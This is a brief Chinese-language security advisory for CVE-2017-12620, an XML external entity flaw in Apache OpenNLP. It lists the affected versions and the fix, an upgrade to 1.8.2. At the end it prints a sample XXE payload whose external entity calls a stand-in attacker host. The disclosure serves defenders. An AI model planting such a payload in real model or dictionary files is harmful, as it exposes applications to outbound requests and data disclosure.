FavoriteLoading
0

Apache OpenNLP XXE漏洞 CVE-2017-12620

Apache OpenNLP XXE漏洞 CVE-2017-12620

漏洞严重性:中等

安全数据库评分CVSS v2

Cvss矢量:
Cvss基准分数 没有定义的 攻击范围 没有定义的
Cvss影响分数 没有定义的 攻击复杂性 没有定义的
Cvss Expoit得分 没有定义的 认证 没有定义的

 

受影响的版本:

  • OpenNLP 1.5.0到1.5.3
  • OpenNLP 1.6.0
  • OpenNLP 1.7.0〜1.7.2
  • OpenNLP 1.8.0到1.8.1

 

漏洞详情

当加载包含XML的模型或字典时,可以执行XXE攻击,因为Apache OpenNLP是一个库,所以这仅影响从不受信任的源加载模型或字典的应用程序。

漏洞修复:

从不受信任来源加载模型或XML字典的所有用户应更新为1.8.2。

黑客可以这样做:

   <?xml version="1.0" ?>
   <!DOCTYPE r [
   <!ELEMENT r ANY >
   <!ENTITY sp SYSTEM "http://evil.attacker.com/">
   ]>
   <r>&sp;</r>

 

在一个XML文件中,一个字典或嵌入在一个模型包中,以演示此漏洞。